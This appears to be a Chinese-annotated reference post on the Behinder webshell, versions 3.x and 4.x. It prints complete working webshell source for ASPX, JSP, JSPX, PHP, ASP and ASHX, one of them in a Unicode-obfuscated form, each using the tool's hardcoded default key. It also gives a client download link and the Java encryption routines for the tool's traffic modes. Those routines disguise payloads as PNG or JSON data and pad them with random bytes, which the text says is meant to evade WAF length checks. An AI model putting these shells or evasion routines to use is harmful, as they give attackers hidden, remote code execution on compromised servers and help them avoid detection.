1 <%@ Page Language="C#" %><%@Import Namespace="System.Reflection" %><%Session.Add("k" ,"e45e329feb5d925b" ); byte [] k = Encoding.Default.GetBytes(Session[0 ] + "" ),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System .Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0 , c.Length)).CreateInstance("U" ).Equals(this );%>
1 2 3 Content-Type: application/octet-stream Cache-Control: no-cache Pragma: no-cache
V4.x https://github.com/rebeyond/Behinder/releases/download/Behinder_v4.1%E3%80%90t00ls%E4%B8%93%E7%89%88%E3%80%91/Behinder_v4.1.t00ls.zip
shell.jsp同V3.x
1 <%@page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" %><%!class U extends ClassLoader {U(ClassLoader c){super (c);}public Class g (byte []b) {return super .defineClass(b,0 ,b.length);}}%><%if (request.getMethod().equals("POST" )){String k="e45e329feb5d925b" ;session.putValue("u" ,k);Cipher c=Cipher.getInstance("AES" );c.init(2 ,new SecretKeySpec (k.getBytes(),"AES" ));new U (this .getClass().getClassLoader()).g(c.doFinal(new sun .misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
shell.jspx同V3.x
1 <%@page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" %><%!class U extends ClassLoader {U(ClassLoader c){super (c);}public Class g (byte []b) {return super .defineClass(b,0 ,b.length);}}%><%if (request.getMethod().equals("POST" )){String k="e45e329feb5d925b" ;session.putValue("u" ,k);Cipher c=Cipher.getInstance("AES" );c.init(2 ,new SecretKeySpec (k.getBytes(),"AES" ));new U (this .getClass().getClassLoader()).g(c.doFinal(new sun .misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
shell_java9.jsp 同V3.x(兼容java8+,只是换了base64编码库,加解密一样)
1 <%@page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" %><%!class U extends ClassLoader {U(ClassLoader c){super (c);}public Class g (byte []b) {return super .defineClass(b,0 ,b.length);}}%><%if (request.getMethod().equals("POST" )){String k="e45e329feb5d925b" ;session.putValue("u" ,k);Cipher c=Cipher.getInstance("AES" );c.init(2 ,new SecretKeySpec (k.getBytes(),"AES" ));new U (this .getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
shell_uni.jsp unicode编码的shell.jsp
1 2 3 <%@page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" %> <%!\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u0020\u005b\u005d\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0030\u002c\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u007d%> <%\u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0050\u004f\u0053\u0054\u0022\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006b\u003d\u0022\u0065\u0034\u0035\u0065\u0033\u0032\u0039\u0066\u0065\u0062\u0035\u0064\u0039\u0032\u0035\u0062\u0022\u003b\u002f\u002a\u003f\u00b1\u004b\u003f\u003f\u003f\u00b1\u00b5\u00b1\u004b\u003f\u0033\u0032\u00a6\u00ec\u006d\u0064\u0035\u00ad\u00c8\u00aa\u00ba\u00ab\u0065\u0031\u0036\u00a6\u00ec\u00a1\u0041\u00c0\u0071\u003f\u003f\u00b1\u00b5\u00b1\u004b\u003f\u0072\u0065\u0062\u0065\u0079\u006f\u006e\u0064\u002a\u002f\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0070\u0075\u0074\u0056\u0061\u006c\u0075\u0065\u0028\u0022\u0075\u0022\u002c\u006b\u0029\u003b\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0022\u0041\u0045\u0053\u0022\u0029\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u0032\u002c\u006e\u0065\u0077\u0020\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u006b\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0022\u0041\u0045\u0053\u0022\u0029\u0029\u003b\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u006e\u0065\u0077\u0020\u0073\u0075\u006e\u002e\u006d\u0069\u0073\u0063\u002e\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0028\u0029\u002e\u0064\u0065\u0063\u006f\u0064\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0029\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u007d%>
shell.php同V3.x
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php@error_reporting(0) ; session_start(); $key="e45e329feb5d925b" ; $_SESSION['k' ]=$key; session_write_close(); $post=file_get_contents("php://input" ); if (!extension_loaded('openssl' )) { $t="base64_" ."decode" ; $post=$t($post."" ); for ($i=0 ;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1 &15 ]; } } else { $post=openssl_decrypt($post, "AES128" , $key); } $arr=explode('|' ,$post); $func=$arr[0 ]; $params=$arr[1 ]; class C {public function __invoke ($p) {eval($p."" );}} @call_user_func(new C(),$params) ; ?>
shell.asp同V3.x
1 2 3 4 5 6 7 8 9 10 11 <% Response.CharSet = "UTF-8" k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond Session("k")=k size=Request.TotalBytes content=Request.BinaryRead(size) For i=1 To size result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1))) Next execute(result) %>
shell.aspx同V3.x
1 <%@ Page Language="C#" %><%@Import Namespace="System.Reflection" %><%Session.Add("k" ,"e45e329feb5d925b" ); byte [] k = Encoding.Default.GetBytes(Session[0 ] + "" ),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System .Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0 , c.Length)).CreateInstance("U" ).Equals(this );%>
多了一个shell.ashx,没有html的aspx,AES-128-CBC key = IVkey固定
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <% @ webhandler language="C#" class="NodeHandler" %> using System; using System.Web; using System.Text; using System.Reflection;public class NodeHandler : IHttpHandler,System.Web.SessionState.IRequiresSessionState { public bool IsReusable { get { return true ; } } public void ProcessRequest (HttpContext ctx) { ctx.Session.Add("k" ,"e45e329feb5d925b" ); byte [] k = Encoding.Default.GetBytes(ctx.Session[0 ] + "" ),c = ctx.Request.BinaryRead(ctx.Request.ContentLength); Assembly.Load(new System .Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0 , c.Length)).CreateInstance("U" ).Equals(ctx); } }
默认与v3.x加解密方法一致,但是V4.x提供了自定义传输协议
default_xor 实际上就是php不支持openssl时的xor加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private byte [] Encrypt(byte [] data) throws Exception { String key="e45e329feb5d925b" ; for (int i = 0 ; i < data.length; i++) { data[i] = (byte ) ((data[i]) ^ (key.getBytes()[i + 1 & 15 ])); } return data; }private byte [] Decrypt(byte [] data) throws Exception { String key="e45e329feb5d925b" ; for (int i = 0 ; i < data.length; i++) { data[i] = (byte ) ((data[i]) ^ (key.getBytes()[i + 1 & 15 ])); } return data; }
default_xor_base64 同上,只不过payload和响应base64编码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 private byte [] Encrypt(byte [] data) throws Exception { String key="e45e329feb5d925b" ; for (int i = 0 ; i < data.length; i++) { data[i] = (byte ) ((data[i]) ^ (key.getBytes()[i + 1 & 15 ])); } byte [] encrypted ; Class baseCls; try { baseCls=Class.forName("java.util.Base64" ); Object Encoder=baseCls.getMethod("getEncoder" , null ).invoke(baseCls, null ); encrypted= (byte []) Encoder.getClass().getMethod("encode" , new Class []{byte [].class}).invoke(Encoder, new Object []{data}); } catch (Throwable error) { baseCls=Class.forName("sun.misc.BASE64Encoder" ); Object Encoder=baseCls.newInstance(); String result=(String) Encoder.getClass().getMethod("encode" ,new Class []{byte [].class}).invoke(Encoder, new Object []{data}); result=result.replace("\n" , "" ).replace("\r" , "" ); encrypted=result.getBytes(); } return encrypted; }private byte [] Decrypt(byte [] data) throws Exception { byte [] decodebs; Class baseCls ; try { baseCls=Class.forName("java.util.Base64" ); Object Decoder=baseCls.getMethod("getDecoder" , null ).invoke(baseCls, null ); decodebs=(byte []) Decoder.getClass().getMethod("decode" , new Class []{byte [].class}).invoke(Decoder, new Object []{data}); } catch (Throwable e) { baseCls = Class.forName("sun.misc.BASE64Decoder" ); Object Decoder=baseCls.newInstance(); decodebs=(byte []) Decoder.getClass().getMethod("decodeBuffer" ,new Class []{String.class}).invoke(Decoder, new Object []{new String (data)}); } String key="e45e329feb5d925b" ; for (int i = 0 ; i < decodebs.length; i++) { decodebs[i] = (byte ) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15 ])); } return decodebs; }
default_aes 就是jsp的aes加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 private byte [] Encrypt(byte [] data) throws Exception { String key="e45e329feb5d925b" ; byte [] raw = key.getBytes("utf-8" ); javax.crypto.spec.SecretKeySpec skeySpec = new javax .crypto.spec.SecretKeySpec(raw, "AES" ); javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding" ); cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec); byte [] encrypted = cipher.doFinal(data); Class baseCls; try { baseCls=Class.forName("java.util.Base64" ); Object Encoder=baseCls.getMethod("getEncoder" , null ).invoke(baseCls, null ); encrypted= (byte []) Encoder.getClass().getMethod("encode" , new Class []{byte [].class}).invoke(Encoder, new Object []{encrypted}); } catch (Throwable error) { baseCls=Class.forName("sun.misc.BASE64Encoder" ); Object Encoder=baseCls.newInstance(); String result=(String) Encoder.getClass().getMethod("encode" ,new Class []{byte [].class}).invoke(Encoder, new Object []{encrypted}); result=result.replace("\n" , "" ).replace("\r" , "" ); encrypted=result.getBytes(); } return encrypted; }private byte [] Decrypt(byte [] data) throws Exception { String k="e45e329feb5d925b" ; javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding" );c.init(2 ,new javax .crypto.spec.SecretKeySpec(k.getBytes(),"AES" )); byte [] decodebs; Class baseCls ; try { baseCls=Class.forName("java.util.Base64" ); Object Decoder=baseCls.getMethod("getDecoder" , null ).invoke(baseCls, null ); decodebs=(byte []) Decoder.getClass().getMethod("decode" , new Class []{byte [].class}).invoke(Decoder, new Object []{data}); } catch (Throwable e) { baseCls = Class.forName("sun.misc.BASE64Decoder" ); Object Decoder=baseCls.newInstance(); decodebs=(byte []) Decoder.getClass().getMethod("decodeBuffer" ,new Class []{String.class}).invoke(Decoder, new Object []{new String (data)}); } return c.doFinal(decodebs); }
default_image 伪造成图片数据传输,就是在content后拼接payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private byte [] Encrypt(byte [] data) throws Exception { String content="iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAAAXNSR0IArs4c6QAAAIRlWElmTU0AKgAAAAgABQESAAMAAAABAAEAAAEaAAUAAAABAAAASgEbAAUAAAABAAAAUgEoAAMAAAABAAIAAIdpAAQAAAABAAAAWgAAAAAAAABIAAAAAQAAAEgAAAABAAOgAQADAAAAAQABAACgAgAEAAAAAQAAABSgAwAEAAAAAQAAAA4AAAAAa7cS3QAAAAlwSFlzAAALEwAACxMBAJqcGAAAAVlpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IlhNUCBDb3JlIDYuMC4wIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6dGlmZj0iaHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8iPgogICAgICAgICA8dGlmZjpPcmllbnRhdGlvbj4xPC90aWZmOk9yaWVudGF0aW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4KICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KGV7hBwAAAXZJREFUOBGNVE1Lw0AQfRtNRfFUKyqp6E160bSlKv4SwZMeevHqH/EgxaOC/hVbMBoR/LhaP5DWXrxoajbu7LKyaZPUhYQJ897b2TezYZFYGLEiKAgDG4EErCwECYU8VBChSbEWT+OxtAqpcMaSK8rKjSftpAk84mg9X8Hv3kuYWyhhs1iVG2nMIH+oQg2k4x37Z9h/OkE5tyC8YfCCFzSWdlF3d2AxCxpriqYKXrQvseUdYHu6iiD6ARfuTbEczj9baNYOsVGsJArGmkKGa99uu4/Ij+Xl5l88wDfvg2Qdew5+504VlWBxTNAsXc+S4qiBoVgPkIk145gg0cgXWquFFfTCnjzqpGVjQjzk42v/He5sSWnoXdWXfCd2mTLrThlHnT3RlFO49rywArgO3tBYrqPmuIZEPBxqCqV192hsmm0PNx8PkrU2I8ZmsZLaYQIlClJCi1I8uLJyMQ9NInWbiH9XTyTl1cu4QcRPrdAU1/f3Pz+HX/qNrcYjTeaNAAAAAElFTkSuQmCC" ; java.io.ByteArrayOutputStream bos=new java .io.ByteArrayOutputStream(); bos.write(java.util.Base64.getDecoder().decode(content)); bos.write(data); return bos.toByteArray(); }private byte [] Decrypt(byte [] data) throws Exception { java.io.ByteArrayOutputStream bos=new java .io.ByteArrayOutputStream(); bos.write(data,966 ,data.length-966 ); return bos.toByteArray(); }
default_json 伪造成json传输,在json后面拼接payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private byte [] Encrypt(byte [] data) throws Exception { String json="{\"id\":\"1\",\"body\":{\"user\":\"lucky\"}}" ; json=json.replace("lucky" ,java.util.Base64.getEncoder().encodeToString(data).replace("+" ,"<" ).replace("/" ,">" )); return json.getBytes(); }private byte [] Decrypt(byte [] data) throws Exception { java.io.ByteArrayOutputStream bos=new java .io.ByteArrayOutputStream(); bos.write(data,26 ,data.length-29 ); return java.util.Base64.getDecoder().decode(new String (bos.toByteArray()).replace("<" ,"+" ).replace(">" ,"/" )); }
aes_with_magic AES-128 ECB 无IV但是在尾部拼接随机magicNum,绕过waf长度检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 private byte [] Encrypt(byte [] data) throws Exception { String key="e45e329feb5d925b" ; byte [] raw = key.getBytes("utf-8" ); javax.crypto.spec.SecretKeySpec skeySpec = new javax .crypto.spec.SecretKeySpec(raw, "AES" ); javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding" ); cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec); byte [] encrypted = cipher.doFinal(data); Class baseCls; try { baseCls=Class.forName("java.util.Base64" ); Object Encoder=baseCls.getMethod("getEncoder" , null ).invoke(baseCls, null ); encrypted= (byte []) Encoder.getClass().getMethod("encode" , new Class []{byte [].class}).invoke(Encoder, new Object []{encrypted}); } catch (Throwable error) { baseCls=Class.forName("sun.misc.BASE64Encoder" ); Object Encoder=baseCls.newInstance(); String result=(String) Encoder.getClass().getMethod("encode" ,new Class []{byte [].class}).invoke(Encoder, new Object []{encrypted}); result=result.replace("\n" , "" ).replace("\r" , "" ); encrypted=result.getBytes(); } int magicNum=Integer.parseInt(key.substring(0 ,2 ),16 )%16 ; java.util.Random random=new java .util.Random(); byte [] buf=new byte [magicNum]; for (int i=0 ;i<buf.length;i++) { buf[i]=(byte )random.nextInt(256 ); } java.io.ByteArrayOutputStream output = new java .io.ByteArrayOutputStream(); output.write(encrypted); output.write(buf); return output.toByteArray(); }private byte [] Decrypt(byte [] data) throws Exception { String k="e45e329feb5d925b" ; int magicNum=Integer.parseInt(k.substring(0 ,2 ),16 )%16 ; data=java.util.Arrays.copyOfRange(data,0 ,data.length-magicNum); javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding" );c.init(2 ,new javax .crypto.spec.SecretKeySpec(k.getBytes(),"AES" )); byte [] decodebs; Class baseCls ; try { baseCls=Class.forName("java.util.Base64" ); Object Decoder=baseCls.getMethod("getDecoder" , null ).invoke(baseCls, null ); decodebs=(byte []) Decoder.getClass().getMethod("decode" , new Class []{byte [].class}).invoke(Decoder, new Object []{data}); } catch (Throwable e) { baseCls = Class.forName("sun.misc.BASE64Decoder" ); Object Decoder=baseCls.newInstance(); decodebs=(byte []) Decoder.getClass().getMethod("decodeBuffer" ,new Class []{String.class}).invoke(Decoder, new Object []{new String (data)}); } return c.doFinal(decodebs); }